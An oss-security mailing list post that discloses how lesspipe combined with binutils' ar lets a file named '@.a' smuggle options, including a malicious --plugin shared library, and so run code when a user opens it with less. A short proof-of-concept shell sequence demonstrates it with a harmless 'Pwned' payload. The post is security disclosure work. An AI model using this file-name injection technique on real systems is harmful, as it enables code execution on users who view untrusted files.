Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <5488E08A.5000704@mccme.ru>
Date: Thu, 11 Dec 2014 03:08:42 +0300
From: Alexander Cherepanov <cherepan@...me.ru>
To: oss-security@...ts.openwall.com
Subject: Re: so, can we do something about lesspipe? (+ a cpio
 bug to back up the argument)

On 2014-11-23 12:24, Michal Zalewski wrote:
> In short, many Linux distributions ship with the 'less' command
> automagically interfaced to 'lesspipe'-type scripts, usually invoked
> via LESSOPEN. This is certainly the case for CentOS and Ubuntu.
>
> Unfortunately, many of these scripts appear to call a rather large
> number of third-party tools that likely have not been designed with
> malicious inputs in mind. On CentOS, lesspipe appears to include
> things such as groff + troff + grotty, man, and cpio. On Ubuntu,
> there's isoinfo (?!), ar from binutils, and so on. Ancient and obscure
> compression utilities and doc converters crop up, too.

Yeah, it also leads to funny collisions in command line parsing.

Let's consider `ar` again. If it meets an option starting with '@' it 
treats the rest of the option as a file name to read additional options 
from. This can be dangerous but the user is supposed to read help/man 
and not to run command like `ar tv @file` or `readelf -x *` in an 
untrusted directory (all utilities from binutils seems to have this 
feature).

Then `less` enters the game. I don't see anything in --help/man for 
`less` which hints that '@' is a dangerous char to be in file names. Ok, 
let's see how it can be combined:

----------------------------------------------------------------------

# imagine that we work in an untrusted dir (unpacked archive or
# something) and the dir contains the following files
printf '#include <stdio.h>\nvoid onload(void *v) { puts("Pwned"); }' | \
   gcc -fPIC -shared -o plugin.so -xc -
ar rc ./@.a /dev/null
echo '-s --plugin ./plugin.so ./@.a' > .a

# pretend that our distro activated lesspipe and finally run `less`
(eval "$(lesspipe)"; less @.a)

----------------------------------------------------------------------

You should see "Pwned" inside `less`.

IMHO it crosses security boundary and should be considered a vuln in 
lesspipe. It neither validates file names nor documents the dangerous 
ones. It also perfectly illustrate how fragile this construction is.

-- 
Alexander Cherepanov

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.